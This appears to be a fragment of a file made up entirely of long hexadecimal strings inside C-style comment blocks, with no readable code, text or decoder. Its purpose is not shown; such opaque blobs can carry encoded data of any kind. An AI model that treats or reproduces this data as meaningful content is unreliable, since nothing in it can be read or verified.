5ca0daacd25c5a17f6e1e2ad03916865e2b0e2bc641da3f9e8d723b9ed3274f7ae38418899598f6a848802bdcf9d7fc3dc33e0351ea1724615bbceba09a84d1554a4ce50f931162b929a49914f8d6ee83faa1b57aaea538985b6480218986f648a11f150e694116ecd02fe22c13d8cb78b50e0f1b00624426066f172efbbcfd6dea5b3a6d7db6c949b702d47f88a82d1dbd22c1bc3cb390e33d30d4a31dbd995523f924be48cbf7ea6b83446d8beeb9a07cfd03cddec88cae64f6add2f8f7378665fbf43ed926f0126ac3c786b7666b56fd0522d3c129105c767c3a4f95164c29e00afb0ae21a5abbd6a39a9a6e507af40ddb66789a95624dac85e91645a9ac94f1a9f2b744bb3f909c35ad236e7bb177fe8bcb86872c22768b88d9c2845673357299cc7b37b02b337fb1d2392bbca2fc5c4f225549e0ce11ac9b697f1d0210f987970e74ed61e12ae2ba2a7bd42e6d6e0e4905b7cee2e7075a8169977513703ca18b865866ee99800c929d17580cbef08a41c70de582a1699e1b9cadf5cd75ce4eb7b4030063a9d62c00db396d3d0eb427ee389a46e08ae8719dabe54e321ea8004b45a7d42de1626f6ffb3efeef384ea5194b32c289ff28cdbe07a47362ab6253d7bcfdee4d739853a0e7ab336f1193f865489039ff849d88493b0c9513689e27fc6530e7bb53c3d5ced6489a42c25cdbc4d847b4c7f51d870d39f5c837f36bde44740d6d7f685f703d30c0bdb1e9c8afee3f7944ac24e1a5d412dc338200fcb7808e5a13c9ffc56b89247e68ab89241974ca4830518fdbb003f72a0f07042ee55a138ca14a8cdcb8f0ecae91654aca16146cd0a0d95c9fa1152cbe8b0cd1dbd5840a75a39a61615356d5589d8a5e9123fad05258a93ddca859fbe88ac94979a40a235976bd61ae8424086f08acbf3d96ace18c930f7ce316b5ecf9e504c6d93a1af4dbb826d68a7719f337c2a9d7394073bb0b876fa31cec92b96889d60b7adf6357f9775d1141cc59dc182dc8b040f0b8a08143db1666617d441a03457f0cc18266cc1a37864d4709277d3d5461ed9bd59befb97a1e8fc8e53800368ab223a9819d5c10d8e84d274e1837bd90922e7346ac9a49ed31744117a3eea133c45fe9845df3c1644f56e21f3bdb6ece2370256c54040911436cc010d09c82e2b0cf931a9585b2288d8a7ede2eaff4593d230dd730d8962d4cd300fad04d539825d816f5ad657b388718609d86f5133f912049915f81f9157e4e5ce3ebf49a2a7ba80c405cfa5aea46693fba65c5c95f11ccdbaf6a001a54557a35ade41c*/
/*d9eb1211518d6302db4c222ba279501580fecc927b0447dc46d8c9fd3b30a9c022f62db2ce920d758ee9f41cefef9917495c2e4da2b20da0c2aa90e024e0cc80619d2b931d11952112da202fbab06950e47283fa027366d0768f7fd1ce84270b7be7feb053064aceb70e5c1ba898c6e672f2d083a5549b81cca1dd3a6b2555d2cfed6c3618d2142b065083c95eec71e38167c634e218a75591e2ecb5fbecccbf954527ea214ded3b8c5a102c6f7ddd9f5cb793931aaf46c0166b48227313cafd878fadae1599cdd4a7c67611c805f5fff035ed07d68121e89db8a5656c7ce962b3d90037c15499559990a9115acb496ee5a9b8e5e6fd68f045ac9de411ae97f31ec04a6a059f5fe1f10c321c50d58d5d56578195ceb589deb6459ac2c4eaf6fc2ad09342df8bbdd010438c65d4b63fe706cb72bd98cdb7dda89bd0a146792b0286ed548573b2470c09a2a5edd05d5d9382e955f7c7e036c02a7e6172e2dacd646a6e7b3346a7f1738e44b2df788d0c0bdc723bd228ee8b906acc9cc914a81c500eacfe2b2a4c4de7e58af8c121b933af34888846db72072685a3e2acce78aeea992cff40d11160acf9331cd4e195947821152a091c984ca56d97da78d83455f18bd1d80f19a60498ed87706cedca87039e1a2bd44f03814d2e9e1a401313ddb063f2fbba69b71c8d7468e264f1dfe9f1f8fbc6fdb22d84dc45d5061fe9250898db083e1b6c91af2c72daf33c70ec3929a5c72b2664f5cc28d71650bf97fe0d5886157662a28afde304c838b63e481414b7ef937dafbc00ecef944f65b5e3591f204017e0fc042846c398ac3b4883e32cf07488320c10199eace4b18339da23216cccb596a87ce515814ab6658c93ed53f704263b8c71cb2c0bbdae2e700c676822ccc6d3b8ed26474c2ae1174f533a2257d782b7a33be889944e1462ebd1cc972149bc5e1e9eb574b7ec6874a67962b733223272ee01d6a3a994048a68dec68cbdebcdc0173e349913023663b7b5568e6562eaa3535f014deebec09325dba23ce133d4eb546d7446f09d400d0cc0ef17f58252c4898607d2f1ee409fbdac4640c246ce0cccfa1b818e29078eb2e2e5a437f5b3e48dc5de5f78d98cc3859478e4ba072595dfdc25826fd9adaf0df78a82c20a2cb59d4018a107dbff196cfdd94aedc86c1a6dda546f5473561d78f63e9d1802a068e3a3c8eb76b7c04eaf3b8a3f6dac5fdc624f191405b01382b90daa942d1ae74275b46d8d6bcb86a7275b96b07812f99ca71215ddfd94c8c9001f2c2ab5df99ffa2f56ce3573776f79341ee19bf9dd51f9dbd167e7dbf2fd2dd4e591cdd891e671b3baf1c7652bb648abbf5768bdb77dfa505f53def427b58fe879e4014814492da548ef224aa7a81fb94fff10765727504422fda2eb10bc37d5ba1334f2ee790b17c00d42b1a484467c8d9c623e652b9d90aa282d76877dc1a595de4780794fb0cea7c20b9b2a82e71b81e87f7ff27c019ff1cba99af6426b4c8ef201dc3bbaf01ab61c8ecf4aa252888edf6b5b0929a712019d1fa19d7a953830c70e8643431d19b22ba27020a0d41b74676df4b4fa196a803f3047b6f62eddf55e1508bc2b7827eabcf5fc680a789c306c77910db65778f29262a47cb1deb46cd932100d0fb22a8716dabfc74c84b721cba71c704a65d8af2189464bbf96a05308e258cd11920341e07d52d6d8057ea4fcbdeed50bb4b2e7f572b7fa65dda4b09c4f7016909d25754c031f33b954a7ca996a720bdae55a0313d1810d85ccbed7b68235f5536bef6db9458062a65e15f053d15759fc011c564d24578a5372c42a0b2ec9f5d131776e0cabe1f97a50f71e5eb1037f13ba109ab82d341a3e53fd5f5f89b1e476c211470af19b7d4db53703c4721b0dcfbfd4d4830c80bffaafed8d00a13bcefc835a928c71de347c4a570d3e0184cbf59e0b72cdc896f194ff5121d7aa10daf3c496a71aae3fe26ffc0eede2c7331419a7c4e1e30e459965f478454d181350cb1663bc49b479d4983c737fd74ab495a7a2c103df6c99c2dcd160909f21662c2fc3b52bccfa25ad22e3be4807e4f1d34385dc49af5ffd4d256be0ac750ab6ceee0636af588de85323a4dc4c30c0014a87a0f1e7e282fcf744304e9bce7feaaf1fc69412d3d1cb9ea9e201e2c9a831be20190f0ac7cc8b00816f2d57e0f37d2bf8c8073c395bfa1b41f92247e58ab39fd714fad6deb9dc00751e8eaaffecb63200c6b94b01837205d04a8bd94f4c4347c7e43400ee3fa61f9cdfd0349c487dc16b5a1e04ab2cb26549d8e6cad738255f04b4d47a4ad6fee5e54d5af6179d1767c3cf61bb028433885ff27fa37b2c01ba443fc975504144259b8fc8fa565e4371394b5c71110adeb9519a1fe6515b3cd510ba93290fcf330e3b18c4aa2a8cd0f72b8f5dc00cee0de7ec0e0cd2f5f460fa9ae3d063a6deae41bfb2f85a12437aac40a9684bf23c886f6b50c239e956c82d6de21aad6fa4761cc0f3be7e90f5382d884ec2e42d62b0e54fda50c81eae50eb4caab3f912e4b09f1145a4d320007ba170e55c65d775b59278de6d68dc7eab14801226fd0a730f0926c095f432fc025168b8aae4d28edec09955b67c099079c3a2df6ba692fbdd5595e2cc188665c378af2736aa41d47bcbc97b4948b126a6aab4527e393a26e1e28ca536cb137cded5824f4171c433873deda1fce9e43cb3e15df7fed5b429c759ac0624019d52d11a155efd2ba009dd71b12b164db7dd3ab5e553b4a4f75c6d7972244f6342dfc6c237b38a2fc5c704533723e561d0f6dd1938fa06ab47eac1c11ffc15d3d4b*/
/*518daa1211d08cb266261f3f21d942b1277a7beeaa5475e46308be02584a9c25d4a24dc01b4383045829991efbeb62ef76c57e906d9342d02fa22194271d780b393c80f65a3532eefd4b7252c649ecdea9f8c7cf80d23817cde3c8435430ecd6502c48e4cb5fd790853723b722a9224e0b56bba086b47ad953255829450adacf1c51a37328ea5f10be33d6ce6d3018515805a8bf1cf042480aaafae75ae020dc241b415da32169b95fd212460d8f0649cf60f8c915120308682a4e823a89ceffaef5cc4b8186c7ec4d1ba81221b5f70ef26f08e8ba9793da3471ce361e0eb1e647d9ddcb00c854822375e9ac908f1339a9e4469532ed39d3e88b07a109dce4a46b18e610cec0201ae52bd16132c4fed919c2871aa6e918082965b0225b056272c2a698511b5b0a6f14df38ad761a147e36460646892477095b6873c937a779edab139aa27bf782dd5568d2d8d6fcfed6481fd6cf85de1a0810670189cb406184bec41eb5a34e381981719c6372b25b1c4fbabd315ddb1e459c5b06271e6a1fe51bfe17c8c09b0b69bdc9c4319bae33f33885561d2008813b886b6692ed3789e66fc0462e1fb72020d77193377e1bce78d44695518c458e1743e061945003053cb5a7e593ed66e7545116bb57072225839559caab33f3904b97955d20d7142db0a1bc43cc08eb79b830b841d27b8b7e3e16ad7f58eda4b187ecbc88e1fada063a0530fd24ad8b183b2f2e10a9440ad65d51da6f85318811ccbfee3a8719c2282896f9bc6e857d4799192df2a7059c2312c2303889b4de4fa88f8ad56b26e23b536f37a62e7b13e45d8c14da38fb016a1132c71d5af8ed44983366ca72eaed6544d6503507805f8bdc7617b48f20838e0a8d16695b36ab85a57f0fbc222e0d1ed60e2b1c404b981f39002afe49a87ab22edf7ebf4b5c6dbec4c1e4e28a144c6605918fd5a4a5c55300dcbeb588f2d8db0f7b13c8e602c5734d2b7a398b5636284b95268ddca956b026c59fb931fc05afe7106986854eeb709a056a90435bc94a6ad0ffb0f19ca3b5599c5264da4812cac11750ce8d5ab5039e7f716bf1db54a5a419a7a2dd942363945d2d3dee67abaef6b76d079dda8fb49f3df59f347839b3356da72e4302cbf494b69e5417a8610c019b377d69897a10eab593d2955b3a3dac6bef793bda603276a3bcd8e442ed200c0f9d0e2aabfc42ca22a4e0874f4340c98959c9d8f0834c34ce9ecfe98d4742cac17fe2841b5a72b24f7cc748287292d6dbf01b64e1a83580843425c625e5a7243f7703978c23699bd26862374b4724143dd13862ca712bd78dd54b0628432b78e0486560497eed9a4ab54abdf639fd323791836bffc17d91e30aa729ff477f1e943d00df5c9bbd401658709086a67eb78d1768f708c17fbf0fd38ab2de377aca6b6ff2a76083a8d2c97785297adbde8e8c37d8183e8d3fc07f1dd154b388010424d9c04d14e97aead572153cdf910d2a5aad420d41c300ae366134de75f999a0d067c8fab8f4e54b9198dcfa35df185b687cb66a4974937cfb6442c9c96dc824355e656e5e96ce92bb3e4b082fd44015c02ef3c91ffa54abfb7a331440a76fdeee8b28307ab2d0bfc5b4229952786e7b81ec98831e8af450a1fffc570446ea21d9e2671e2a08d33f56955b0c5d30d893ab119cd446838231c2c29e0caf1582c50db31c0bf29d44bdd242a348c9e2546a52e4be70d084e446d5c254164a9099380478291884653352f66c7faca07922ade1ba676e0ff7b61c64f02dd004ce4e84aef3b7bf7dc4b2a96990aba5091cb1116c2b05d8f5e9d23424ff608747aac96b0e8daaaf1d5573290ad286b92e671db36f00877293f10c66feb177d497d49d3c85eb75ad87d70f22ad82cb24fdf087aac6f0d2f7eeee146706b6853ba7170ac1f69fc400169bc03ea5e812f8bf4bff775dd3f47180b4273bebe892f966fb529ecc74876fd68712e5d5e3c972584af7418f75dae6cb5da384365a6c07954262ca703699d95c0f1b1ce26c5ebcccb29832b3e06444809f2885be4f6ee244c7adffbd1d7fe99870c0722d2fd913b851e552ae18c0a0f5a71e49f33b0f298cc8b2a88e84fee3fb91182371ec5344f8bd96863ddadf2933e1801a18e3ca326ef2d04e09625cd2b694f59e1a538ef404f45dacbd9c90276cd7a309ff60f5269a8180a4cad2585ba276f44146205aeec1b95557aa21a0096fbcdb8347fb172696278b812a1d78bf83869673f3c618948e71b79c3b17d7a6a4aec6d33dc37aabee26cf79b9b277edb83ef386bbc59eb612317eda48f4973e0c609f9f694d0e48d6885d038935f02c4bbeba1e33021fb5e2530ee35654bc11fd979c2da1168bbbaf7b044c1468ff89533c9b62bd4012a2fd95230498316db926e21345110f4d716e8aa918c76ec60908073170a107c50a8c28ab4cf8c42e742ef4df7ae117423c2ee6f9aa3e408859ee730012436f800df465d844bd6f445c3fe95826593c2de9b931b9263f58f9f61e7bbec1ff27f1c41b98c2f17e622bc22f3daa69e45ad700ef5766d5695290c7d655c093ad5ea6637632445652f0bc063932d4206201d21272d63ea84d92f8eb40dcb67627e22b72b8086afa6b6a085f67d99824bb123e8fbd5d690daa09f72b1c27b0808d9f912457975af06f1564f399a6472704afe7afb2daa6f302e61c81f68a8b8a5a1652144d553b4b44e6a874f53ab216e69e6704e1e0b845bb272f9c82e52576db19abaf9cf6c3a2981fd7622da6b4f96da5b780cf919230951a39862a58ff1f37188c0ad929872112a728871741b64cff04918aaf2948f5*/
/*984d1a868e78aa7d3371981e3a8816b5e5f693c964c1318b6d7d63d3e7457d582ceb86da39d3e8b94fb1fbc18fcf0fcdbda6cc8a122bb20069e00e4dfa623070e298abe9c791666e065270e95bc55972789b9e2638f5b4348caf8be7249660e41c1d3ef5125a6ae13df72b50b47ab34afc213145ba142590d494e7de8d8ac3d1d0903ef83ae2b57f773bf3fbea6938bf6b2fca30123118bc083d4416e6048104b405e79004c0e8b9def0d3bfbdaaf978d812d5d4683fe85f4246489114f891c2b53244ed446e793ffc9d860e4464ccb2be952a28c5461caafbb72f61f02a0b5f9dd72f07436de96686744323d679b0505746b85f7cb858d2272775cc1265c6da33e3c0c5f9bd6f064374ee4d67a47cb09a87d540f0ca83b2a394c7736850a6a1b8b056dad9d2025cf3091ff07627b5b9d9e976a5cd8366c556b51261b43f9cc210c4492098e9b2b39941e068364c6c163fd921a4e5a534b21cfec12c827b7a803cfd802571fe42d47a5244f32e0d9df2f008e859d4b17bfe7ca6eaa7e265e2b2d599550f13c8e99c8ea2558777cf1b89615211b847c6164ad501777bf0d56c11b27e6cbf54accd20ca6f0812ef123e9cdaaba777628ffa89ff2fdea5c0ff498f7477655f01552d2b0656e771eb808b92a583b61af93fb78f4f567245cb86d0da951571adffff68a486354e9fe565c91a8b0b6295754524edc946fae6c14fc584b9d77805102d2fec6ee48bf2bb2ac957178a36d101fd4c15ab57357ea8132b94a224f8b38f55624048eba713878b884475af4d3eb15370771d1673c55e0558181504702f648e172f89b5642550717396762abdc37945d7a1d2ebe019b5748f4aeb299c696c8c454719c640e913e38a9f0ad5a541741b0938572fb92d094dea2a65ac54c81b8588ace7461b6ab0a3df0b6cc2de49c7624e8053827f8172179b7de6063801a2998f66e3a3d84ef32416db237b0a98ab94cff393b178c381f12efcecacf2f5bf406f613f6116378c2b34abd68fafc822404e12cda34721d4422ae6ec4be4ad0aeb62381d965afc202dce1c468c2fbf9f79fa02df4b18822472af67cfd661f8bd113d4e67d39af616a3ed4f9c712cb440a490bdbdbf6417781c2ea254c565518b46e559248f47eba5639c27e2c6142eff87bbe3f5fda00f3fb855aa34ba3b1ed22e268d3af51461b533c1c7b146eda2023d489d4729b86458f254bd20ce8130b3889e6b0f963d8ef5fd711536ead73bd73a108690fb5fe351b30d284e6fc74834b0f58b2d5b1095ccc86bd0de8167d6f79dcfb95bb596631fdbc05921a332e0ea855b6635bd8807a4358c06e64ae2a99a921ee7a7d410a9af579cc008f0539d1085b8ade4bb1f59e3f561f9c139215e512a38a0ce926d9061d217444ec67ad75ddeace4b735ef98230b7872f79e5a455c490ee5110510bfc4d9943ae68f6c20d1152e6edb1cb551ce2e5eddf25e8326b24aed33e2311bfb5d71fa2ae6ee50fec4e603f6cf4a90b76eda5d1dd781d0cdcde0d45bfee3592d6d727a9db69538ba6ccc83c6706e81ed0138c217e686dc499ce9773118f7ddd31307957faec2d3a7e8d5b06ba1913d0b5a9de2cf819525891f3671bf491cb85332194861a59ae681456c2b2c1c03c6171d36b336f061974c4bd1112852eb1e3c0f9968f26ce7bf26e7a09d191d22ea9ce36fa62b9d9b4ec9ed707ea2176845f875269737e96d50046b571767be9b31c51bd1c3f2ef0971d6b5b7cc5f603c50ce47ac7e5561217baba1ca5f60f575a11eed2056ee779b72e3e7836b4e18fe241e6299c8c3195f5a7b402c33bf307cb1121e491583eb9639f8d54fa10ca24d23f89fcc56fb635a2eac40f7e4d1e04e7553bda38aaa594af29806638aa353d45695d2f90c9badaee83281b868787834beb5e30760dcb961c0b52d90cd85a2f1a28e67f246ec9c92e2e8f189d9debc2500840ca04302c46e738ef3521818079e99cc187a00a044b98901e09d74bd1e8d66bdf41ee0b963a7dc23748e60b6c9545891d88d14ab4af41991568a81b32f02b5e9716456211fc524f8526e4f6ea47db27d5ed8c8526cc5af18ae7f59c4c74b4182f4093217fec69c88951d8d779aab4b9bc6c401bd35ba4a42ea535c6c9999d82f0d498f1c590f8baf67d6499eedcffe6d0707950ad538d80601c3d7744588aa584113bb328ba9461191aad629a40e7ddc0fff1556c1311de99fa2164ad10df4a33c36873df87adc8abf48aff06c7aec0c68ed6a078aef86197ef3b766aa078217d4fced095937743623e370074a288980ef3fa3d78a106fd74b9dc610628021036c72cdbf61d2aa9103f7199e701498d0ed4d6dc8be588ca11bc9c5f9cdf6409a8b6ed45f33aa3c83ca77d5b15c7924480246e436f7bcc9c51d2257c5302d1a750a9cfe1ec7fa418e922696c9c9c32c6762597f10edc02b19943250fcb4455f82c10f5095e2df15b93dc207a382f7d6c85d4bd182417cabc7c4dd32889bf42c7c37dc001418e26a54647bc9fd8708289fa4d6ca627bd119bb65a96b1c74152f993691b10aa0f01b6b0137a86e39dad426fb233a7da497954d714752b7d7a7d054ba6202de24b2298d6f108177d7e98d03b705fdb14e25e98d1b49bdfa1be2f007ec546abec8cee8d7f11a8b87916211fb6e69a1f9df6849d2ee1781976e9243ca653dea47125961b64b5a27f9b0a5ab6c370afe864a4af65b7469bd95a4ce4909b7a02bcf3a4cbb209a6d2f9a2cb71adab8b7b99299f80841efd252c2cb0eb6bb0cbd7d2de9ba749c982f55a8638388deaab9ae3f19fa7863e290b5174fcb6e4618822e9a*/
/*91e8e555f40c318c391f98e18045f075b5088839af44b9e9094d08fccb6431300e2e320ef286afc109d456a788daa2724737ec236f1bf9ba3a6ea21fc87c1c0c8a28f714581c0b49ab7b45cb9b16e15bd0b65595c8459d6f70fbf18e15176023477f246f7745c35665844abb2b167359bc5cc2ebc808e61e77e0489546386b849050f89aa0c9ef73ae1fa2afd1f97811694dc0587668f966aa3fc64bf07bb2da8f3011ef318227f8aa341990d86473c92e318e478177e785e97f8f901f1d5ef1bbd40d5ff98d66b5b651b9716b39034fa27f9485d983b5ba923fd4d83d4bf91c1d340b496448664f463cbfd9f42cf8f9b86fe594e7b2f0d8d8a1550b528aee3d5045fbdb8d59d1e78f9d529775a267eed9796a0ea2c23df2c6d4913bede7a482139c8a677619a8f8a62d9a6452efba0a98b8efab7564f6750850b3760f0a8bfde2b64561fd02ef7730dd168d8a65dc26ff8d875569738fb69c50e72fea82283e2e5dfb3243a1b1dc398f6b9db0ecbeae57ddd7b771691e6ba9209961f1c9eb667e44056809772850805a34bf57f3d39e6956667bf00502fdeb120f118fada816298129eb95980584af66fab8c80fc79eb560d60f2b48491537c0fd2bd432d0b0b828f248541d5240e36712ba3013539002236061805d7c3b5d42e8a152befd3380ed7133babea4c30b368dca3ee8930300e4d7d23d1c591343452cf6dcad9a0b4e4027ac894d28f0d017789f0eb95294041194ec2b0bbf09765dea0770ae3a353f673ef7611b254767bdc81d39287c64be4ea639dbc375c1020cb49d4589ccd7aaf3c6ed6cbe799d5a1525d6ee5ebd834d51778b2b54990ab07730e5ba4f5123f48203cde6784fcf71f78ff8d820269d845f7e1ecc71ecde95885ffd84629f6a0d4d63c18b8fd5f95d9378948c9fc86d86ed84fea95783848dde951ef19349db08a736c59b82a1f092c83ccdae1ffa04a57c66bbb9e2343312c76bbf77133661f412a4dbe24e138bb9530f31ad107eb39054e2feb2a5350d6a95b7a1415c88b879ecdcb81809fbca40887e8a0b0eaee87c9faa0f83083a6105ffb59658354452da54a2bbc04af46099cc3c771c68a63a2fac0a54411b1277fcd64afc25ae9e870de128cf7fc3b0f0ae7ebf7e46fc2e4cb179db907c99fb7be8837a8fae0b865129f599eb3fa86493733f9c5cc0e03aa39edb0aa8f6842157e8715c754d5513175125b66177628e9faf7b29997d7c19236700f92e14f029ac4024f74a6eb39fe9c16bd45d9dbc52027266ba323a36fc294470ee332e658bac961fae6219c7fc8387095822fd3756569eeb8e227247e8370cd1cee7ed9f4d7023e9b26a9e1d5853194d0c07bad5b93a3f22cca48c4d9f58795dd3d447ffb34d1a516f1647b0a60d4392338a8d66df1f617fb4fc89e41643fb89334a08b6ef87c7cfef08d975547014651ac57f08b874eea36aff8dd0150041489d49c4966534c962fad2eca79c0013a1d2d57868dec73a7002efcce083a166b9c1863986cd14016e91eb8843c684f5a1f1fab75a984833d40f067f77a176487dd0027758ba98a4902d1c36249489827cc7d8c2cad83efdace2189f66507f4d94b38987dd7613c216879ee71660f9c1d7cdaa75628bb64a7172ebfdf1dd29d4141b2740981bff99f35a754e4f827fd74e9da2d99e070518df06186836eb9b811c1ce072ebd5afb1a41190dbcbdf6a7a2b255328aa59cd325f563f3480420bbd16f2334dc8295fa4eea459aebe8a17b9f0a9bf6842e662847623c16cf915b143bad2880f17b76de2d89a0c6b795d2fa8646a5e468c8859c874274e37c3b150e12d5c9c54c7bcb463240bb83c7e530a26000e5f5a544c28933cb03c71065bc6166c5eaff70c76e124c178fdbb1f4e82ec46d77f9dd3a7f7674b975b6a75ec6544bc3fa710ff9d43b29048eccdf2919a5e741abe23ecac2a48a78347d9e9c643a1b9f908e858ff2524fd2597f2debb8d2cc0a24e3bebd52cf8c0b02d4b5743bfb6b4a480500b3f9b96b71dff9245df5e1e0ecdc11544c5802da79716f219d0dc114e2cd58befad574a2eefed9ef891db2598232f5ae5ec356ca701f9184a25be56a98bdd065490cd05e8f94562c6e1c87e9d5e7379ad01abfe452b6dfdf4ff909a784f81a56d75c1359ec3585f20db6476e68d08634d4f7bc65b31378feefcd9b2e2fa27b54549a5acc19c3f9a976b948df9154ecbae2cf95b13f1ab6e05824763306e3e9c3d2ef74601f883e58395190123d7d4c074811a0ca3ff12aa9d642cf751d2aaa6d7beef8d278c69d664292b623a41963f7fce97395728b4ba7354cdaeb9fe7ef988ca9493bed8e98a463f27c60a01cdd3419645514571f230e35b89e7b5e6329dd87ff0a8873335db210cb9df11a867691f1054a1a3212f9da8771d170946e5646552fb8c3f0be423aadab82979593bdded0792b065c2230784a543e9587525ff7389d9bf082493014a3eeb6ea7dfa68fadebf1632f35f8fbdebe3f4225d92f1049b1b4a95ed797b02f4a42d090aeb5f8f96bdeda559b68a1185546638f5bd9bcd1fc7192bd97bc21760e5f15e5d75853f472507b01a2f08fd899f4846e08f9f91ee7f267d0cf799c685cf1cc57caae7165bfe635e0344be5a764c2209c720b5482cd2050227f69d30f511fd29e4dde1470d510167a8b58f3b707c56ed48f11a7ed77c45b7f54054829bcde3f6bcbcdee0e2562b67daddc4bd40c17db985913804710d7dd2ae51af727bcd8527f66a0bcfc04685443646ae1296b2a5da31d6adf31277a6f390d47e8a8ca0182441fddca5407e886dd83a3583fa426*/
/*dc5886408053e71fdcb4f0fa780fc1c2e988119cfae85bca9fce7c1d7e6d4460cb712d9381ee93a09015e6425e358af6a7cbf252666fecbeb174e3c78bbcf4a6dddffd4e27f3fb676d97ad1902bcabc75c0c399208091f1de7d36f9cf79486dbfc6149ebc9c093ff8e542a6de9f382a7e7df37a23673edc2d0cbb0bf57a409949042f17e0547ff6927aaaaf4119feb24cc448cdedba8856e5609a282868dc8d91144db7d3eff6f0b98edfda687d4aa8446eeeda3eee4e2c6331e0b90abe470a7f1096a3d58bab73ae0a7d2e5de7b383c88b2488392c0b6ca62237376447d1b31a9bf476fff2b069b56abc4baea275e70cf9fa71f9b8aeef17605d190cab479960d641c290e052d7c859493c8ffceb1e2b23a41bcdf660f0ac0cf8e9cdf9f7a2fd53c339b7aa419aa0459b0bc38db7a6d2074d01ac246a7650e62796ad235765dd23044e99dc1b78afe9d49d4ad14b64f1c402f378d22bbcf27edb50363f06e8eb65521574094f960ea60fa8caa416ef77a698eb9db11e879f9577a248ba9c2132374c1e45f8efe1762591496803c43386a65903284e913a64e2851e545f47970bee2fc32cf6dce19962ed92d8dec43cd478f78e14b102c59802f0adae7c1321ba319ad7a47e51bead8005954cfa89877bc273ba37f469a077c2cc4e434502fdf14e3a4faebcc9e8487db7e76e2d9467908406564d0d47ab7afaa0ee1b5e3fb41da7f3ea6ab5ba2b178460abc28e6246371ab08d7e38b6e7f62ffcbfc14d62b202cfcc331fbe8c984e7a89c9ae10c71d0048c1b9a96621e7fcf734afbaba549aa755ec1be5bb753108a48cd025fc2adcef2402add43356141c1488c48ee5bb302004a8607b5b8d73f7313c49647778bc3162bb46db554327faffae8039c2135c12a92df9ffdef546cc4999128153fab93bc0725a76806479ccdc64b7640ae1f5b5bc8617a2e786efd1b44490de1d70f6c6076298c7c09ffd9abfc4a44f3f4210691fe06a53bb3bf5359cbc69ab79d09c933f4202bbf35e8b369d2248f596f580c591450427b610b8d5734cc6436b45ff8cb118745b663be1a277b5f31af60c47c7b201789ee69ea684eccd1c698e365b5d6f7ef89d404955d4116acbf5edcdf05895f0deffdca181c6fb94271e3c9279fae9d4399c6382c144e854700037d5d5add31792c8ae18255616b0f66202a5a4794eec3f21c4d0e83bb85dcc7bbfde9fee5e690c0bd5d260f3bec26a9e08cd5553d34f55d3d56755f066a92c144aaee19d9303e37e07029a93434ae2bbbe1cd322f0d478d00418776ae7f4e010222ebf85b3c20252a6555c5010e0d13b0941fcf9ad706227d3b8c73601f27a1465ea082aa871438526a86407daabdd03a82381dccb7a6fabf7fc6b52d6579c1aa42e1cf7b6a1f8a7a696c4059354399bd7883ed751e989d30fc7999c8067afb7e8827472bc59953770f6bb1a4b37b3e462d496b743a1388aa84f38352244110ed9bb7172272fb31efaf338721e158b2dfb460395e2c5dc194db0fc7477a88272a4b11b44dd20b1b66b8e949ee0ba0d998c8cf2c8a7a875b057323b993967980cf131b7ed717270113169d5b773caa3b876480031c93284988dadfc0725c9a46b72c68be24f5e665d9c5253262751e34b7939094988d9b79716c8f7f1b4ad1717558dc4dc8d44aec1b0737925de28b6fc17bd580fc9aeb4c82d84130519398a822ce7aad96abe6377da4b52e19da4ca066c4bac1b6e9fdb3ba113ae42d839bc3eaa28fa9834275d47f7ac239931ac117d8861ac889d342310633af0faa806c583d748a4691364cf7c2a431cca90638c0f7a4a84db25b3f0bbbfc8a3f9d6b31ac09bc84ca05249cbc439c4c31dcb0bc9a67da34385caf179647bfe23bc48ef5e7299168592bfb74a3d5ae8195a6d1db66edca0d428e59c8f96780e25fe9f36788ed4a97628323abee0ccf7a2f635fd1e1c2d6ee62f951948a9812d859690d59322d4223163c2775c15258a0f5086ccb388a24e7a4db170cce0616c3bcc65d9d68c1d3c238848cdcc92a3b1214276d8c34c6804e2c1de1c5863d8d7651501e9be669b28d56eeaf292eb5750616656dedddb9ce811c6edeb336cf3a990b2efa9999d9e327913ab7b6d0d7ae403045fc0386c7d8444ef64806a975f910ce923116454334cef43b4accb0d1ba8ab8ddc20706c95b72a59e695becb8d7bb8a8cb8e80a76be517b5c1c4ccb8f96011b84d1d351c7d044cb3ac339cdb9ff2e482ce69ac8684b1b4b9beaecd07343c60300e08a6bc55f5fccdc5066aa339a9e71d119019b5db8c18af58488cd38709291963373f1ef486de002d46150639a2a8d6aa2c01f598b18d073566052744daf585b2756348ce5ece6af13cd6cf05e2bc25c26e317095cc976f07d606bf15eabef665fae674f5f121791c1b9036f6e262c7ea046c5224322d82b5b0de0cfbc9fa83f6387127920f8db8dad3e3b38853c9ef4d59c221b72c4f5ebcfb2ca690acdbf8009401dd2d9985231949eb39f9ffb39d7b800840db121c05d38937d6a2fd8cf3c4573222f569366552923f22bc72acc94dd073e6dd05a51075eeba91387c747ab49694c937c143700d2d9c419942635680d5ed71cd27a81278a2554d4e26a6ff67858d5a25fcdbe599beab5db34b6bf5c17927e614d1b081584f280ea11eef5dae882d9f532b3dd15afbc21bfe66f540e7f951b1b68481a38c1b4b7575d40076ee8d4fbc2f1f1e3f312239aeaef7a72825ec5e975f8e7470e90ed63155eec56ddf3a566d0f523df2c508c91597a47636fe63d3b9a32935de64fbf0ca0ceb5f1f2f42dd52fd57df8*/
/*bc4591e1271b1194c01fa9467d94c1ef164b3d5ca483de4c81b16494b2d2e9d46b994eab913f7a35109dac070a7b99dcb957d01e4975afc2de5ccbff9ec2009ad20ecd89a3175fd630347bfcfc365f4d53f7c0423141bf8474c81824330061b9a8ce9de72aecd7d810e8f9cff1447a5c2196a93cce5be363eddeb994eb08e6fdd2a5751db02a6f2516f3c54a2c4322b6fa16f05347ba4d7191fed52a5a1b39bfb07abb67651fd4b2100d796671fc86361538fb1956331adbc324f5ad43472e298efbebbe69c7ac036cd3188c61bbb4c85dad61e6ef0c460978518a00649b4c56516e3036ce36d0098b63b33085920a818e731469bfca62b8d21c482e33827276d129bb3e11eae21271d6a190aa699c824ce647980f5865f3b4666880f2d11ceb6954b13b88a5f1630f774de9785ee14ab2ef12a38013906daaaafc39fec90999da6b47b44df0c04d25cc48ccb65fb39c4acb56bdee615a9aea611e8407fd0dc5e3978af24627288a6fbe97eb297d2d553234d7c6b2f103ed5e796d92d175f9f80d7b62fbf619ebabdbcc348ee763fd878bfc21cae19f25296a224151cafc101a080fce054cbb00b8564b79db526b93fe1098f255fd2ab59c8e19df045a8a4efb35072d5daabc81e061cc24333ac14f23905fdd9c9189a02a8838ea08b8631a6a1b454c8b343d69d11481c6a49b1bf986e4a9303a04c4ba77022d78b970c316299a0110ccecb191a13c505bfe08e108073c45737fe51df7cda0407bee9ea2a373be2419fccdcdf3c7530eb533da4ddf9512b78e4fac73874905b31e2268570fd4056982eda06ec